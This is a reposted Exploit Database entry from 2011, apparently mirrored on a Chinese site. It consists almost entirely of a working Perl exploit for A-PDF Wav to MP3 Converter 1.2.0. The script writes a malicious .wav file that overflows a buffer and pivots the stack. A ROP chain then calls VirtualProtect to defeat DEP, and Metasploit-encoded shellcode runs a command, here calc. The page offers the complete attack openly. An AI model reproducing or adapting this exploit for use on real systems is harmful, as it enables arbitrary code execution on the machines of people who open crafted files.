A-PDF Wav to MP3 Converter 1.2.0 – DEP Bypass

• Exploit Database
• 14 阅读

• 作者： h1ch4m
  日期： 2011-05-13
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17277/

• # Exploit Title: A-PDF Wav to MP3 Converter v 1.2.0 DEP Bypass
  # Software Link: http://www.a-pdf.com/wav-to-mp3/a-pdf-wtm.exe
  # Version: 1.2.0
  # Tested on: Win XP SP3 French
  # Date: 12/05/2011
  # Author: h1ch4m (Hicham Oumounid)
  # Email: h1ch4m@live.fr
  # Home: http://net-effects.blogspot.com
  # Big thanks to corelanc0d3r for the Help & the Precious advices
  
  my $file= "Exploit.wav";
  #######################STACK PIVOT###########################
  my $EIP = pack('V', 0x100040CF);# RETN - wavtomp3.exe -** Null byte **
  
  # not enough space for the ROP and Shellcode, so: sub esp,1030 & we land in the beginning of our payload(ROP)
  my $SP = pack('V', 0x004A394A); # POP ECX # RETN 	[Module : wavtomp3.exe]** Null byte ** - [ Ascii printable - null byte]
  $SP .= pack('V', 0x00001030); # 1030h
  $SP .= pack('V', 0x00478D2C); # PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN 	[Module : wavtomp3.exe]** Null byte **
  $SP .= "A" x 16; 
  $SP .= pack('V', 0x00401D3C); # MOV EAX,EDX # RETN 	[Module : wavtomp3.exe]** Null byte **
  $SP .= pack('V', 0x004130DE); # SUB EAX,ECX # RETN 	[Module : wavtomp3.exe]** Null byte **
  $SP .= pack('V', 0x0041097B); # XCHG EAX,ESP # RETN 	[Module : wavtomp3.exe]** Null byte **
  
  ####################### STACK POINTER ###########################
  my $ROP = pack('V', 0x00478D2C);# PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN 	[Module : wavtomp3.exe]** Null byte **
  $ROP .= "A" x 16; 
  $ROP .= pack('V', 0x00401D3C);# MOV EAX,EDX # RETN 	[Module : wavtomp3.exe]** Null byte **
  $ROP .= pack('V', 0x10004642);# ADD ESP,18 # RETN 	[Module : lame_enc.dll]** Null byte **
  
  ############ VirtualProtect() Parameters############
  $ROP .= pack('V', 0x7c801ad4);# VirtualProtect()0x7c801ad4 Kernel32.dll
  $ROP .= "AAAA"; # Parameter 1
  $ROP .= "BBBB"; # Parameter 2
  $ROP .= "CCCC"; # Parameter 3
  $ROP .= "DDDD"; # Parameter 4
  $ROP .= pack("V", 0x10054000);# Writeable address
  
  ###################### PARAMETER 1###########################
  $ROP .= pack('V', 0x0040808F);# ADD EAX,10 # RETN 	[Module : wavtomp3.exe]** Null byte **
  $ROP .= pack('V', 0x1002B936);# ADD EAX,0C # RETN 	[Module : lame_enc.dll]** 
  $ROP .= pack('V', 0x0040F944);# MOV ECX,EAX # MOV EAX,ECX # RETN 	[Module : wavtomp3.exe]** Null byte **
  $ROP .= pack('V', 0x00401D3C);# MOV EAX,EDX # RETN 	[Module : wavtomp3.exe]** Null byte **
  $ROP .= pack('V', 0x1003C6A4);# ADD EAX,100 # POP EBP # RETN 	[Module : lame_enc.dll]**
  $ROP .= "A" x 4;
  $ROP .= pack('V', 0x1002B23D);# ADD EAX,20 # RETN 	[Module : lame_enc.dll]** 
  $ROP .= pack('V', 0x1002B910);# ADD EAX,8 # RETN 	[Module : lame_enc.dll]** 
  $ROP .= pack('V', 0x00402ABC);# MOV DWORD PTR DS:[ECX],EAX # RETN 	[Module : wavtomp3.exe]** Null byte **
  
  ###################### PARAMETER 2###########################
  $ROP .= pack('V', 0x10002388);# MOV DWORD PTR DS:[ECX+4],EAX # XOR EAX,EAX # RETN 	[Module : lame_enc.dll]** Null byte **
  
  ###################### PARAMETER 3###########################
  $ROP .= pack('V', 0x1003C6A4);# ADD EAX,100 # POP EBP # RETN 	[Module : lame_enc.dll]**
  $ROP .= "A" x 4;
  $ROP .= pack('V', 0x1003C6A4);# ADD EAX,100 # POP EBP # RETN 	[Module : lame_enc.dll]**
  $ROP .= "A" x 4;
  $ROP .= pack('V', 0x1003C6A4);# ADD EAX,100 # POP EBP # RETN 	[Module : lame_enc.dll]**
  $ROP .= "A" x 4;
  $ROP .= pack('V', 0x100023D1);# MOV DWORD PTR DS:[ECX+8],EAX # XOR EAX,EAX # RETN 	[Module : lame_enc.dll]** Null byte **
  
  ###################### PARAMETER 4###########################
  $ROP .= pack('V', 0x1002B23D) x 2;# ADD EAX,20 # RETN 	[Module : lame_enc.dll]**
  $ROP .= pack('V', 0x100023A8);# MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # RETN 	[Module : lame_enc.dll]** Null byte **
  
  ################### Jump To VirtualProtect() #####################
  $ROP .= pack('V', 0x004027D9);# MOV EAX,ECX # RETN 	[Module : wavtomp3.exe]** Null byte **
  $ROP .= pack('V', 0x0040BFC1);# SUB EAX,4 # RETN 	[Module : wavtomp3.exe]** Null byte **
  $ROP .= pack('V', 0x0041097B);# XCHG EAX,ESP # RETN 	[Module : wavtomp3.exe]** Null byte **
  
  #######################NOPS ###########################
  my $NOPS = "\x90" x (300 - length($ROP));
  
  #######################SHELLCODE###########################
  # windows/exec - 223 bytes
  # http://www.metasploit.com
  # Encoder: x86/shikata_ga_nai
  # EXITFUNC=seh, CMD=calc
  my $shellcode = "\xda\xdd\xbf\xb0\x1a\x64\x4f\xd9\x74\x24\xf4\x58\x31\xc9" .
  "\xb1\x32\x31\x78\x17\x83\xc0\x04\x03\xc8\x09\x86\xba\xd4" .
  "\xc6\xcf\x45\x24\x17\xb0\xcc\xc1\x26\xe2\xab\x82\x1b\x32" .
  "\xbf\xc6\x97\xb9\xed\xf2\x2c\xcf\x39\xf5\x85\x7a\x1c\x38" .
  "\x15\x4b\xa0\x96\xd5\xcd\x5c\xe4\x09\x2e\x5c\x27\x5c\x2f" .
  "\x99\x55\xaf\x7d\x72\x12\x02\x92\xf7\x66\x9f\x93\xd7\xed" .
  "\x9f\xeb\x52\x31\x6b\x46\x5c\x61\xc4\xdd\x16\x99\x6e\xb9" .
  "\x86\x98\xa3\xd9\xfb\xd3\xc8\x2a\x8f\xe2\x18\x63\x70\xd5" .
  "\x64\x28\x4f\xda\x68\x30\x97\xdc\x92\x47\xe3\x1f\x2e\x50" .
  "\x30\x62\xf4\xd5\xa5\xc4\x7f\x4d\x0e\xf5\xac\x08\xc5\xf9" .
  "\x19\x5e\x81\x1d\x9f\xb3\xb9\x19\x14\x32\x6e\xa8\x6e\x11" .
  "\xaa\xf1\x35\x38\xeb\x5f\x9b\x45\xeb\x07\x44\xe0\x67\xa5" .
  "\x91\x92\x25\xa3\x64\x16\x50\x8a\x67\x28\x5b\xbc\x0f\x19" .
  "\xd0\x53\x57\xa6\x33\x10\xa9\x57\x8e\x8c\x3e\xce\x7b\xed" .
  "\x22\xf1\x51\x31\x5b\x72\x50\xc9\x98\x6a\x11\xcc\xe5\x2c" .
  "\xc9\xbc\x76\xd9\xed\x13\x76\xc8\x8d\xf2\xe4\x90\x51";
  
  my $junk = "\x41" x (4128 - length($ROP.$NOPS.$shellcode));
  
  open($FILE,">$file");
  print $FILE $ROP.$NOPS.$shellcode.$junk.$EIP.$SP;
  close($FILE);
  print "File Created successfully\n";
  sleep(1);